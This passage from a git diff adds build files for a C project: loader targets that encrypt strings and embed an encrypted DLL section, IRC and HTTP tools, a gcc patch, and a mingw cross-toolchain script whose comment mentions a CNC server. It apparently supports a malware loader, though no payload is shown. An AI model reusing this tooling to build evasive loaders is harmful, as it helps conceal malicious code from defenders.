--binary=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}_pre.bin --ldr-section=${LOADER_SECTION} --dll-section=${MILLER_SECTION} --endmarker=${LOADER_ENDMARKER} --patch --crypt-strings --crypt-dll +) +add_dependencies(loader_base_enc pyloader pycrypt ${PROJECT_NAME}_pre-shared_bin) + +add_custom_command(TARGET release POST_BUILD + COMMAND ${CMAKE_STRIP} -s "$<TARGET_FILE:release>" + COMMAND ${CMAKE_OBJCOPY} --add-section ${MILLER_SECTION}=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}.bin --set-section-flags ${MILLER_SECTION}=CONTENTS,ALLOC,LOAD,READONLY --change-section-address ${MILLER_SECTION}=${MILLER_SECTION_ADDRESS} "$<TARGET_FILE:release>" + COMMAND ${PYTHON} ${CMAKE_SOURCE_DIR}/batch/patchLoader.py --pyload=${PYLOAD_SO} --pycrypt=${PYCRYPT_SO} --win32="$<TARGET_FILE:release>" --binary=${CMAKE_RUNTIME_OUTPUT_DIRECTORY}/${PROJECT_NAME}.bin --ldr-section=${LOADER_SECTION} --dll-section=${MILLER_SECTION} --endmarker=${LOADER_ENDMARKER} --patch --crypt-strings --crypt-dll +) +add_dependencies(release pyloader pycrypt ${PROJECT_NAME}-shared_bin) + +if (ENABLE_MSG_PIPES) + add_executable(pipe_server ${MILLER_SRCDIR}/${TOOLS_DIR}/pipe_server.c) + target_compile_definitions(pipe_server PRIVATE _GNU_SOURCE=1 ${MILLER_PRE_DEFS}) + add_executable(pipe_client ${MILLER_SRCDIR}/${TOOLS_DIR}/pipe_client.c) + target_compile_definitions(pipe_client PRIVATE _GNU_SOURCE=1 ${MILLER_PRE_DEFS}) + set(pipe_targets pipe_server pipe_client) +else() + set(pipe_targets "") +endif() + +if (ENABLE_IRC) + add_executable(ircmsg ${MILLER_SRCDIR}/snprintf.c ${MILLER_SRCDIR}/crypt_strings.c ${MILLER_SRCDIR}/compat.c ${MILLER_SRCDIR}/math.c ${MILLER_SRCDIR}/utils.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/irc.c ${MILLER_SRCDIR}/${TOOLS_DIR}/ircmsg.c) + add_dependencies(ircmsg cryptout_xor) + set_target_properties(ircmsg PROPERTIES COMPILE_FLAGS "${default_cflags}") + target_include_directories(ircmsg PRIVATE ${MILLER_HDRDIR_CREATED}) + target_compile_definitions(ircmsg PRIVATE ${MILLER_PRE_DEFS} _ENABLE_IRC=1 _GNU_SOURCE=1 _DISABLE_MYGETPROC=1 _PRE_RELEASE=1 _STDIO_DEFINED=1) + target_link_libraries(ircmsg ws2_32) + set(irc_targets ircmsg) +else() + set(irc_targets "") +endif() + +add_executable(httpquery ${MILLER_SRCDIR}/snprintf.c ${MILLER_SRCDIR}/crypt_strings.c ${MILLER_SRCDIR}/compat.c ${MILLER_SRCDIR}/math.c ${MILLER_SRCDIR}/file.c ${MILLER_SRCDIR}/utils.c ${MILLER_SRCDIR}/crypt.c ${MILLER_SRCDIR}/http.c ${MILLER_SRCDIR}/${TOOLS_DIR}/httpquery.c) +add_dependencies(httpquery cryptout_xor) +set_target_properties(httpquery PROPERTIES COMPILE_FLAGS "${default_cflags}") +target_include_directories(httpquery PRIVATE ${MILLER_HDRDIR_CREATED}) +target_compile_definitions(httpquery PRIVATE _DISABLE_MYGETPROC=1 ${MILLER_PRE_DEFS} _GNU_SOURCE=1 _PRE_RELEASE=1 _STDIO_DEFINED=1) + +add_executable(libtor ${MILLER_SRCDIR}/${TOOLS_DIR}/libtor.c) +set_target_properties(httpquery PROPERTIES COMPILE_FLAGS "${default_cflags}") + +install(TARGETS loadmodule loader_base loader_base_enc release dummy dummy_gui runbin ${pipe_targets} ${alltools_targets} ${irc_targets} httpquery libtor RUNTIME DESTINATION ${INSTALL_DEST}) diff --git a/cmake/CheckCSourceCompiles.cmake b/cmake/CheckCSourceCompiles.cmake new file mode 100644 index 0000000..56e68d5 --- /dev/null +++ b/cmake/CheckCSourceCompiles.cmake @@ -0,0 +1,133 @@ +# Distributed under the OSI-approved BSD 3-Clause License. See accompanying +# file Copyright.txt or https://cmake.org/licensing for details. + +#[=======================================================================[.rst: +CheckCSourceCompiles +-------------------- + +Check if given C source compiles and links into an executable. + +.. command:: check_c_source_compiles + + :: + + check_c_source_compiles(code resultVar [FAIL_REGEX regex1 [regex2...]]) + + Check that the source supplied in ``code`` can be compiled as a C source + file and linked as an executable (so it must contain at least a ``main()`` + function). The result will be stored in the internal cache variable specified + by ``resultVar``, with a boolean true value for success and boolean false for + failure. If ``FAIL_REGEX`` is provided, then failure is determined by + checking if anything in the output matches any of the specified regular + expressions. + + The underlying check is performed by the :command:`try_compile` command. The + compile and link commands can be influenced by setting any of the following + variables prior to calling ``check_c_source_compiles()``: + + ``CMAKE_REQUIRED_FLAGS`` + Additional flags to pass to the compiler. Note that the contents of + :variable:`CMAKE_C_FLAGS <CMAKE_<LANG>_FLAGS>` and its associated + configuration-specific variable are automatically added to the compiler + command before the contents of ``CMAKE_REQUIRED_FLAGS``. + + ``CMAKE_REQUIRED_DEFINITIONS`` + A :ref:`;-list <CMake Language Lists>` of compiler definitions of the form + ``-DFOO`` or ``-DFOO=bar``. A definition for the name specified by + ``resultVar`` will also be added automatically. + + ``CMAKE_REQUIRED_INCLUDES`` + A :ref:`;-list <CMake Language Lists>` of header search paths to pass to + the compiler. These will be the only header search paths used by + ``try_compile()``, i.e. the contents of the :prop_dir:`INCLUDE_DIRECTORIES` + directory property will be ignored. + + ``CMAKE_REQUIRED_LIBRARIES`` + A :ref:`;-list <CMake Language Lists>` of libraries to add to the link + command. These can be the name of system libraries or they can be + :ref:`Imported Targets <Imported Targets>` (see :command:`try_compile` for + further details). + + ``CMAKE_REQUIRED_QUIET`` + If this variable evaluates to a boolean true value, all status messages + associated with the check will be suppressed. + + The check is only performed once, with the result cached in the variable + named by ``resultVar``. Every subsequent CMake run will re-use this cached + value rather than performing the check again, even if the ``code`` changes. + In order to force the check to be re-evaluated, the variable named by + ``resultVar`` must be manually removed from the cache. + +#]=======================================================================] + + +macro(CHECK_C_SOURCE_COMPILES SOURCE VAR) + if(NOT DEFINED "${VAR}") + set(_FAIL_REGEX) + set(_key) + foreach(arg ${ARGN}) + if("${arg}" MATCHES "^(FAIL_REGEX)$") + set(_key "${arg}") + elseif(_key) + list(APPEND _${_key} "${arg}") + else() + message(FATAL_ERROR "Unknown argument:\n ${arg}\n") + endif() + endforeach() + set(MACRO_CHECK_FUNCTION_DEFINITIONS + "-D${VAR} ${CMAKE_REQUIRED_FLAGS}") + if(CMAKE_REQUIRED_LIBRARIES) + set(CHECK_C_SOURCE_COMPILES_ADD_LIBRARIES + LINK_LIBRARIES ${CMAKE_REQUIRED_LIBRARIES}) + else() + set(CHECK_C_SOURCE_COMPILES_ADD_LIBRARIES) + endif() + if(CMAKE_REQUIRED_INCLUDES) + set(CHECK_C_SOURCE_COMPILES_ADD_INCLUDES + "-DINCLUDE_DIRECTORIES:STRING=${CMAKE_REQUIRED_INCLUDES}") + else() + set(CHECK_C_SOURCE_COMPILES_ADD_INCLUDES) + endif() + file(WRITE "${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeTmp/src.c" + "${SOURCE}\n") + + if(NOT CMAKE_REQUIRED_QUIET) + message(STATUS "Performing Test ${VAR}") + endif() + try_compile(${VAR} + ${CMAKE_BINARY_DIR} + ${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeTmp/src.c + COMPILE_DEFINITIONS ${CMAKE_REQUIRED_DEFINITIONS} + ${CHECK_C_SOURCE_COMPILES_ADD_LIBRARIES} + CMAKE_FLAGS -DCOMPILE_DEFINITIONS:STRING=${MACRO_CHECK_FUNCTION_DEFINITIONS} + "${CHECK_C_SOURCE_COMPILES_ADD_INCLUDES}" + OUTPUT_VARIABLE OUTPUT) + + foreach(_regex ${_FAIL_REGEX}) + if("${OUTPUT}" MATCHES "${_regex}") + set(${VAR} 0) + endif() + endforeach() + + if(${VAR}) + set(${VAR} 1 CACHE INTERNAL "Test ${VAR}") + if(NOT CMAKE_REQUIRED_QUIET) + message(STATUS "Performing Test ${VAR} - Success") + endif() + file(APPEND ${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeOutput.log + "Performing C SOURCE FILE Test ${VAR} succeeded with the following output:\n" + "${OUTPUT}\n" + "Source file was:\n${SOURCE}\n") + else() + if(NOT CMAKE_REQUIRED_QUIET) + message(STATUS "Performing Test ${VAR} - Failed") + endif() + set(${VAR} "" CACHE INTERNAL "Test ${VAR}") + file(APPEND ${CMAKE_BINARY_DIR}${CMAKE_FILES_DIRECTORY}/CMakeError.log + "Performing C SOURCE FILE Test ${VAR} failed with the following output:\n" + "${OUTPUT}\n" + "Source file was:\n${SOURCE}\n") + endif() + endif() +endmacro() + diff --git a/deps/.gitignore b/deps/.gitignore new file mode 100644 index 0000000..ef92fa5 --- /dev/null +++ b/deps/.gitignore @@ -0,0 +1,5 @@ +/sysroot +/.stamp-python +/get-pip.py +*.tar.gz +*.tar.bz2 diff --git a/deps/config.sh b/deps/config.sh new file mode 100755 index 0000000..766991e --- /dev/null +++ b/deps/config.sh @@ -0,0 +1,29 @@ +#!/bin/bash + +MYPWD=$(realpath $(dirname ${BASH_SOURCE[0]})) +echo ">>> ${MYPWD}" + +export targ="i686-w64-mingw32" +echo "target = ${targ}" + +export MY_SYS_ROOT="${MYPWD}/sysroot" +echo "sysroot = ${MY_SYS_ROOT}" + +if [[ $- =~ e ]]; then + echo '>>> disabled bash exit on non-zero (set -e)' + BASH_EXITONFAIL=1 + set +e +else + BASH_EXITONFAIL=0 +fi + +echo "${PATH}" | grep -qoE ":${MY_SYS_ROOT}" +if [ $? -ne 0 ]; then + export PATH="${MY_SYS_ROOT}/bin:${MY_SYS_ROOT}/${targ}/bin:${PATH}" +fi +echo "PATH = ${PATH}" + +if [ $BASH_EXITONFAIL -eq 1 ]; then + set -e + unset BASH_EXITONFAIL +fi diff --git a/deps/gcc-4.9.4-naked.patch b/deps/gcc-4.9.4-naked.patch new file mode 100644 index 0000000..c3c7e74 --- /dev/null +++ b/deps/gcc-4.9.4-naked.patch @@ -0,0 +1,66 @@ +diff -Naur gcc-4.9.4-orig/gcc/config/i386/i386.c gcc-4.9.4/gcc/config/i386/i386.c +--- gcc-4.9.4-orig/gcc/config/i386/i386.c ++++ gcc-4.9.4/gcc/config/i386/i386.c +@@ -6041,6 +6041,14 @@ + return false; + } + ++static bool ++ix86_function_naked (const_tree fn) ++{ ++ if (fn && lookup_attribute ("naked", DECL_ATTRIBUTES (fn))) ++ return true; ++ return false; ++} ++ + static enum calling_abi + ix86_function_abi (const_tree fndecl) + { +@@ -9078,6 +9086,9 @@ + { + struct ix86_frame frame; + ++ if (ix86_function_naked (current_function_decl)) ++ return false; ++ + if (! reload_completed || frame_pointer_needed) + return 0; + +@@ -9090,7 +9101,7 @@ + return (frame.stack_pointer_offset == UNITS_PER_WORD + && (frame.nregs + frame.nsseregs) == 0); + } +- ++ + /* Value should be nonzero if functions must have frame pointers. + Zero means the frame pointer need not be set up (and parms may + be accessed via the stack pointer) in functions that seem suitable. */ +@@ -10753,6 +10764,9 @@ + bool int_registers_saved; + bool sse_registers_saved; + ++ if (ix86_function_naked (current_function_decl)) ++ return; ++ + ix86_finalize_stack_realign_flags (); + + /* DRAP should not coexist with stack_realign_fp */ +@@ -11459,6 +11473,9 @@ + bool restore_regs_via_mov; + bool using_drap; + ++ if (ix86_function_naked (current_function_decl)) ++ return; ++ + ix86_finalize_stack_realign_flags (); + ix86_compute_frame_layout (&frame); + +@@ -42414,6 +42431,8 @@ + false }, + { "callee_pop_aggregate_return", 1, 1, false, true, true, + ix86_handle_callee_pop_aggregate_return, true }, ++ { "naked", 0, 0, true, false, false, ++ ix86_handle_fndecl_attribute, false }, + /* End element. */ + { NULL, 0, 0, false, false, false, NULL, false } + }; diff --git a/deps/makedeps.sh b/deps/makedeps.sh new file mode 100755 index 0000000..8d16ced --- /dev/null +++ b/deps/makedeps.sh @@ -0,0 +1,495 @@ +#!/bin/bash +# +# Module: makedeps.sh +# Author: Toni <matzeton@googlemail.com> +# Purpose: Build full host- and mingw64 C toolchain without multilib support .. +# (Using built-in specs.) +# Changed: 04.01.2018 +# +# Automated Build Steps: +# 1. build host binutils +# 2. build host gcc +# 3. build host python +# 4. build host tor (try) +# 5. build mingw64 binutils +# 6. build mingw64 gcc core (with mingw64 headers) +# 7. build mingw64 winpthreads +# 8. build mingw64 gcc +# 9. build mingw tor/libtor and dependencies (try) +# +# mingw64 target : i686-w64-mingw32 +# mingw64 Thread model: WINPTHREAD +# + +# basic commands +command -v "echo" >/dev/null 2>&1 || exit 1 +command -v "printf" >/dev/null 2>&1 || exit 1 +command -v "for" >/dev/null 2>&1 || exit 1 +command -v "do" >/dev/null 2>&1 || exit 1 +command -v "in" >/dev/null 2>&1 || exit 1 +command -v "done" >/dev/null 2>&1 || exit 1 +# required commands +REQ_CMDS=( "set" "unset" "exec" "export" "test" "if" "else" "fi" "tput" "pwd" "dirname" "touch" "date" "wget" "tar" "mkdir" "patch" "mv" "cd" "make" "cp" "ln" "install" "realpath" "tail" \ + "gcc" "g++" "cpp" "ar" "as" "ld" "ranlib" "strip" ) +for cmd in "${REQ_CMDS[@]}" +do + command -v "${cmd}" >/dev/null 2>&1 || { echo >&2 "$0: I need command \"${cmd}\" but it's not installed. Aborting."; exit 1; } +done +# bash version check +if [ -z "${BASH_VERSINFO}" ]; then + echo >&2 "$0: Bash version variable \${BASH_VERSINFO}" + exit 1 +fi +if [ ${BASH_VERSINFO[0]} -lt 4 -a ${BASH_VERSINFO[1]} -lt 3 ]; then + echo >&2 "$0: Bash version 4.3.* required!" + exit 1 +fi +# sha512 available? +SHA512_BIN=$(command -v "sha512sum" 2>/dev/null) + + +set -e +set -u + +DBG_ERRLINES=${DBG_ERRLINES:-10} +RED=$(tput setaf 1) +GREEN=$(tput setaf 2) +CYAN=$(tput setaf 6) +BOLD=$(tput bold) +NC=$(tput sgr0) +cd "$(dirname $0)" + +export PYTHON=Python-2.7.18 +export MINGW=mingw-w64-v6.0.0 +export BIN=binutils-2.31.1 +export GCC=gcc-8.2.0 +export GMP=gmp-6.1.2 +export MPF=mpfr-4.0.1 +export MPC=mpc-1.1.0 +export MUSL=musl-1.1.20 +export NASM=nasm-2.12.02 +#export TOR=tor-0.3.0.9 +export PKGCONFIG=pkg-config-0.29.2 +export OPENSSL=openssl-1.1.1f +export ZLIB=zlib-1.2.11 +export LIBEVENT=libevent-2.1.8-stable + +export BUILDDIRS="build_python build_binutils build_gcc build_musl build_tor build_mingw_binutils build_mingw_hdr build_mingw_crt build_mingw_gcc build_nasm build_mingw_winpthread build_pkgconfig build_mingw_openssl build_mingw_zlib build_mingw_libevent build_mingw_tor" + +DBG_LOGFILE=${DBG_LOGFILE:-$(realpath "./build.log")} +touch "${DBG_LOGFILE}" +exec 3> ${DBG_LOGFILE} + +function dbg { + timestamp=$(date '+%d-%m-%Y_%H-%M-%S') + echo -e "[${timestamp}] $*" >&3 + printf "%s\n" "[${timestamp}]${BOLD}${GREEN}[*] $*${NC}" +} + +function dbg_run { + set +e + timestamp=$(date '+%d-%m-%Y_%H-%M-%S') + echo -e "[${timestamp}] COMMAND: $*" >&3 + printf "%s\n" "[${timestamp}]${BOLD}${CYAN}[*] COMMAND: $*${NC}" + + if [ -z "${DBG_NOLOG:-}" ]; then + $* 2>&3 1>&3 + ret=$? + else + $* >/dev/null 2>/dev/null + ret=$? + fi + + if [ -z "${DBG_NOERR:-}" -a $ret -ne 0 ]; then + timestamp=$(date '+%d-%m-%Y_%H-%M-%S') + printf "%s\n" "[${timestamp}]${BOLD}${RED}ERROR: Last command returned ${ret}${NC}" + printf "%s\n" "[${timestamp}]${BOLD}${RED}ERROR: Printing the last ${DBG_ERRLINES} lines ..${NC}" + tail -n ${DBG_ERRLINES} ${DBG_LOGFILE} + printf "%s\n" "[${timestamp}]${BOLD}${RED}EOF ERROR${NC}" + echo -e "[${timestamp}] COMMAND $* failed with ${ret}" >&3 + fi + + set -e + return $ret +} + +# args: basename, url +function dl_and_extract { + if [ ! -f "${1}${3}" ]; then + dbg "download ${1}" + wget "${2}" -O".tmp.${1}${3}" + mv ".tmp.${1}${3}" "${1}${3}" + fi + if [ "x${3}" != x ]; then + if [ ! -d "${1}" ]; then + dbg "extract ${1}" + if [ "${3}" = '.tar.gz' ]; then + tar -xzf "${1}${3}" + elif [ "${3}" = '.tar.bz2' ]; then + tar -xjf "${1}${3}" + fi + fi + if [ ! -d "${1}" ]; then + dbg "directory ${1} missing, extraction failed?" + return 1 + fi + fi + return 0 +} + +function dl_and_extract_gz { + dl_and_extract "${1}" "${2}" '.tar.gz' +} + +function dl_and_extract_bz { + dl_and_extract "${1}" "${2}" '.tar.bz2' +} + + +# entry +dbg "DEPS_ROOT = $(realpath .)" +dbg "DBG_LOGFILE = ${DBG_LOGFILE}" +dbg "DBG_NOLOG = ${DBG_NOLOG:-0}" +dbg "DBG_ERRLINES = ${DBG_ERRLINES}" +if [ $# -gt 0 ]; then + NMB_BUILDJOBS=$1 +else + NMB_BUILDJOBS=4 +fi +dbg "NMB_BUILDJOBS = ${NMB_BUILDJOBS}" +dbg "=======" + +dbg "exec $(pwd)/config.sh" +. config.sh >/dev/null +dbg "Host...: $(gcc -dumpmachine)" +dbg "Target.: ${targ}" +dbg "Sysroot: ${MY_SYS_ROOT}" +dbg "=======" + +export PY_BUILD_STAMP=".stamp-python" +if [ ! -d "${MY_SYS_ROOT}" ]; then + mkdir -p "${MY_SYS_ROOT}" + dbg "remove ${BUILDDIRS}" + rm -rf ${BUILDDIRS} ${PY_BUILD_STAMP} +fi + +dl_and_extract_gz "${PYTHON}" "https://www.python.org/ftp/python/2.7.18/${PYTHON}.tgz" + +#libtor is disabled until patch the was ported +#dl_and_extract "${TOR}" "https://www.torproject.org/dist/${TOR}.tar.gz" +#if [ ! -d "${TOR}-libtor" ]; then +# dbg_run cp -rf "${TOR}" "${TOR}-libtor" +# dbg "patching ${TOR}-libtor" +# dbg_run patch -d "${TOR}-libtor" -p1 < "${TOR}-libtor.patch" +#fi + +dl_and_extract_bz "${MINGW}" "https://vorboss.dl.sourceforge.net/project/mingw-w64/mingw-w64/mingw-w64-release/${MINGW}.tar.bz2" +dl_and_extract_gz "${BIN}" "https://ftp.gnu.org/gnu/binutils/${BIN}.tar.gz" +dl_and_extract_gz "${GCC}" "https://ftp.gnu.org/gnu/gcc/${GCC}/${GCC}.tar.gz" +dl_and_extract_gz "${MUSL}" "https://www.musl-libc.org/releases/${MUSL}.tar.gz" +dl_and_extract_gz "${NASM}" "http://www.nasm.us/pub/nasm/releasebuilds/2.12.02/${NASM}.tar.gz" +dl_and_extract_gz "${PKGCONFIG}" "https://pkgconfig.freedesktop.org/releases/${PKGCONFIG}.tar.gz" +dl_and_extract_gz "${OPENSSL}" "https://www.openssl.org/source/${OPENSSL}.tar.gz" +dl_and_extract_gz "${ZLIB}" "https://zlib.net/${ZLIB}.tar.gz" +dl_and_extract_gz "${LIBEVENT}" "https://github.com/libevent/libevent/releases/download/release-2.1.8-stable/${LIBEVENT}.tar.gz" + +test -f "${GMP}.tar.bz2" || { dbg_run wget "https://gmplib.org/download/gmp/${GMP}.tar.bz2" -O".tmp.${GMP}.tar.bz2" && dbg_run mv ".tmp.${GMP}.tar.bz2" "${GMP}.tar.bz2" || false; } +test -f "${MPF}.tar.bz2" || { dbg_run wget "http://www.mpfr.org/mpfr-4.0.1/${MPF}.tar.bz2" -O".tmp.${MPF}.tar.bz2" && dbg_run mv ".tmp.${MPF}.tar.bz2" "${MPF}.tar.bz2" || false; } +test -f "${MPC}.tar.gz" || { dbg_run wget "ftp://ftp.gnu.org/gnu/mpc/${MPC}.tar.gz" -O".tmp.${MPC}.tar.gz" && dbg_run mv ".tmp.${MPC}.tar.gz" "${MPC}.tar.gz" || false; } + +if [ ! -d "${GCC}/gmp" ]; then + dbg "extract gmp" + dbg_run tar -xjf "${GMP}.tar.bz2" + dbg_run mv "${GMP}" "${GCC}/gmp" +fi +if [ ! -d "${GCC}/mpfr" ]; then + dbg "extract mpfr" + dbg_run tar -xjf "${MPF}.tar.bz2" + dbg_run mv "${MPF}" "${GCC}/mpfr" +fi +if [ ! -d "${GCC}/mpc" ]; then + dbg "extract mpc" + dbg_run tar -xzf "${MPC}.tar.gz" + dbg_run mv -fv "${MPC}" "${GCC}/mpc" +fi + +if [ x"${SHA512_BIN}" != x ]; then + dbg_run ${SHA512_BIN} -c ./sha512.chksms +fi + +mkdir -p ${BUILDDIRS} +export CFLAGS="-g0 -O2 -pipe -fPIC -fomit-frame-pointer -Wl,-S -Wno-unused-but-set-parameter -Wno-unused -Wno-unused-result -Wno-attributes -Wno-switch -Wno-shift-negative-value" +export CXXFLAGS="-g0 -O2 -fPIC -fomit-frame-pointer -Wl,-S -Wno-literal-suffix -Wno-switch" + +# 0: Make host binutils +dbg "MAKE HOST BINUTILS" +cd build_binutils +test -f Makefile || dbg_run ../${BIN}/configure --disable-multilib --prefix="${MY_SYS_ROOT}" \ + --enable-lto --enable-ld=yes --enable-gold --enable-plugins --enable-64-bit-bfd \ + --with-sysroot="${MY_SYS_ROOT}" \ + --disable-libstdcxx --disable-nls --disable-libquadmath --disable-libquadmath-support +dbg_run make configure-host +dbg_run make -j${NMB_BUILDJOBS} +dbg_run make install-strip +dbg_run cp "../${BIN}/include/libiberty.h" "${MY_SYS_ROOT}/include/libiberty.h" +cd .. + +# 0: Make host gcc +dbg "MAKE HOST GCC" +cd build_gcc +test -f Makefile || dbg_run ../${GCC}/configure --disable-multilib --prefix="${MY_SYS_ROOT}" \ + --enable-static --disable-shared --with-system-zlib \ + --enable-languages=c,c++,go --enable-libstdcxx --enable-fully-dynamic-string \ + --disable-libmpx --disable-nls --disable-threads --enable-lto --enable-ld=yes +dbg_run make all-gcc -j${NMB_BUILDJOBS} +dbg_run make all-target-libgcc -j${NMB_BUILDJOBS} +dbg_run make all-target-libstdc++-v3 -j${NMB_BUILDJOBS} +dbg_run make install-strip-gcc +dbg_run make install-strip-target-libgcc +dbg_run make install-strip-target-libstdc++-v3 +dbg_run make all-gotools -j${NMB_BUILDJOBS} LDFLAGS=-pthread +dbg_run make install-strip-gotools +dbg_run make all-target-libgo -j${NMB_BUILDJOBS} LDFLAGS=-pthread +dbg_run make install-strip-target-libgo +cd .. + +# force use of recent host gcc build +export CC="${MY_SYS_ROOT}/bin/gcc" +export CXX="${MY_SYS_ROOT}/bin/g++" +export CPP="${MY_SYS_ROOT}/bin/cpp" +export AR="${MY_SYS_ROOT}/bin/ar" +export AS="${MY_SYS_ROOT}/bin/as" +export LD="${MY_SYS_ROOT}/bin/ld" +export RANLIB="${MY_SYS_ROOT}/bin/ranlib" +export STRIP="${MY_SYS_ROOT}/bin/strip" + +DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/bin/ld" "${MY_SYS_ROOT}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/real-ld" || true +DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/bin/nm" "${MY_SYS_ROOT}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/nm" || true +DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/bin/strip" "${MY_SYS_ROOT}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/strip" || true +DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/bin/strip" "${MY_SYS_ROOT}/lib/gcc/$(${CC} -dumpmachine)/$(${CC} -dumpversion)/gstrip" || true + +# 0.1: Make Python +if [ ! -r ${PY_BUILD_STAMP} ]; then + dbg "MAKE PYTHON" + cd build_python + test -f Makefile || dbg_run ../${PYTHON}/configure --prefix=${MY_SYS_ROOT} --enable-optimizations --disable-shared + dbg_run make -j${NMB_BUILDJOBS} + dbg_run make install + dbg_run ln -sr ${MY_SYS_ROOT}/bin/python2.7 ${MY_SYS_ROOT}/bin/${PYTHON} || true + dbg_run ${STRIP} -s "${MY_SYS_ROOT}/bin/python2.7" + cd .. + dbg_run touch ${PY_BUILD_STAMP} # build python only once (takes lots of time with --enable-optimizations + tests) +else + dbg "Skipping Python build (already done)" +fi + +#libtor is disabled until patch the was ported +# 0.5: Make host TOR (required for CNC server) +#dbg "MAKE HOST TOR (try)" +#cd build_tor +#unset ret +#test -f Makefile || dbg_run ../${TOR}/configure --prefix=${MY_SYS_ROOT} --disable-silent-rules --enable-gcc-warnings-advisory --disable-systemd --disable-libfuzzer --disable-oss-fuzz --disable-system-torrc && ret=0 || ret=$? +#if [ $ret -eq 0 ]; then +# dbg_run make -j${NMB_BUILDJOBS} || dbg "HOST TOR build failed, ignore" +# dbg_run make install +#else +# dbg "HOST TOR configure failed, ignore" +#fi +#cd .. +# generate torrc +#if [ -r "${MY_SYS_ROOT}/etc/tor/torrc.sample" ]; then +# dbg_run ./torconf.sh +#fi + +# 1: Make binutils +dbg "MAKE BINUTILS for ${targ}" +cd build_mingw_binutils +test -f Makefile || dbg_run ../${BIN}/configure --target=${targ} --disable-multilib --prefix="${MY_SYS_ROOT}/${targ}" \ + --enable-lto --enable-ld=yes --with-sysroot="${MY_SYS_ROOT}/${targ}" \ + --disable-libstdcxx --disable-nls --disable-libquadmath --disable-libquadmath-support +dbg_run make -j${NMB_BUILDJOBS} +dbg_run make install-strip +cd .. + +# 2: Make nasm +dbg "MAKE NASM for ${targ}" +cd build_nasm +dbg_run mkdir -p common macros # nasm build fix +test -f Makefile || dbg_run ../${NASM}/configure --target=${targ} --prefix=${MY_SYS_ROOT}/${targ} +dbg_run make -j${NMB_BUILDJOBS} +dbg_run make install +cd .. + +# 3: Make symlinks / directories required for Mingw64 builds +dbg "MAKE SYMLINKS/DIRS" +DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}" "${MY_SYS_ROOT}/mingw" || true +DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}" "${MY_SYS_ROOT}/${targ}/mingw" || true +mkdir -p ${MY_SYS_ROOT}/${targ}/lib + +# 4: Make mingw headers +dbg "MAKE MINGW HEADERS" +cd build_mingw_hdr +test -f Makefile || dbg_run ../${MINGW}/mingw-w64-headers/configure --host=${targ} --prefix="${MY_SYS_ROOT}/${targ}" +dbg_run make -j${NMB_BUILDJOBS} +dbg_run make install +cd .. + +# 5: Make gcc core +dbg "MAKE GCC CORE" +cd build_mingw_gcc +test -f Makefile || dbg_run ../${GCC}/configure --target=${targ} --disable-multilib --with-sysroot="${MY_SYS_ROOT}/${targ}" --prefix="${MY_SYS_ROOT}/${targ}" \ + --enable-static --disable-shared --with-system-zlib --without-included-gettext \ + --enable-sjlj-exceptions --enable-threads=posix --disable-libstdcxx --enable-fully-dynamic-string \ + --disable-libmpx --enable-languages=c --enable-lto +dbg_run make all-gcc -j${NMB_BUILDJOBS} +dbg_run make install-strip-gcc +cd .. + +# 6: Make pkg-config (required for libtor) +dbg "MAKE PKG-CONFIG" +cd build_pkgconfig +test -f Makefile || dbg_run ../${PKGCONFIG}/configure --prefix="${MY_SYS_ROOT}/${targ}" --with-internal-glib --with-pc-path="${MY_SYS_ROOT}/${targ}/lib/pkgconfig/" +dbg_run make -j${NMB_BUILDJOBS} +dbg_run make install +cd .. +DBG_NOERR=1 dbg_run ln -sr "${MY_SYS_ROOT}/${targ}/bin/pkg-config" "${MY_SYS_ROOT}/${targ}/bin/${targ}-pkg-config" || true + +# force use of recent host gcc build +export CC="${MY_SYS_ROOT}/${targ}/bin/${targ}-gcc" +export CXX=false +export CPP="${MY_SYS_ROOT}/${targ}/bin/${targ}-cpp" +export AR="${MY_SYS_ROOT}/${targ}/bin/${targ}-ar" +export AS="${MY_SYS_ROOT}/${targ}/bin/${targ}-as" +export LD="${MY_SYS_ROOT}/${targ}/bin/${targ}-ld" +export RANLIB="${MY_SYS_ROOT}/${targ}/bin/${targ}-ranlib" +export STRIP="${MY_SYS_ROOT}/${targ}/bin/${targ}-strip" +export DLLTOOL="${MY_SYS_ROOT}/${targ}/bin/${targ}-dlltool" +export WINDRES="${MY_SYS_ROOT}/${targ}/bin/${targ}-windres" + +# 7: Make mingw crt +dbg "MAKE MINGW CRT" +cd build_mingw_crt +test -f Makefile || dbg_run ../${MINGW}/mingw-w64-crt/configure --host=${targ} \ + --with-sysroot="${MY_SYS_ROOT}/${targ}" --prefix="${MY_SYS_ROOT}/${targ}" +dbg_run make -j${NMB_BUILDJOBS} +dbg_run make install-strip +cd .. + +# 8: Make win pthreads +dbg "MAKE WINPTHREADS" +cd build_mingw_winpthread +test -f Makefile || dbg_run ../${MINGW}/mingw-w64-libraries/winpthreads/configure --host=${targ} \ + --with-sysroot="${MY_SYS_ROOT}/${targ}" --prefix="${MY_SYS_ROOT}/${targ}" +dbg_run make -j${NMB_BUILDJOBS} || dbg "expected failure" +dbg_run cp fakelib/libgcc.a fakelib/libpthread.a +dbg_run make -j${NMB_BUILDJOBS} && dbg_run make install-strip + +dbg_run cp ${MY_SYS_ROOT}/${targ}/bin/libwinpthread-1.dll \ + ${MY_SYS_ROOT}/${targ}/lib/ + +cd .. + +# 9: Make gcc second pass +dbg "MAKE GCC PASS #2" +cd build_mingw_gcc +dbg_run make -j${NMB_BUILDJOBS} +dbg_run make install-strip-gcc +dbg_run make all-target-libgcc -j${NMB_BUILDJOBS} +dbg_run make install-target-libgcc +cd .. + +export CFLAGS="-g0 -Os -s -pipe -flto -fuse-linker-plugin -ffat-lto-objects 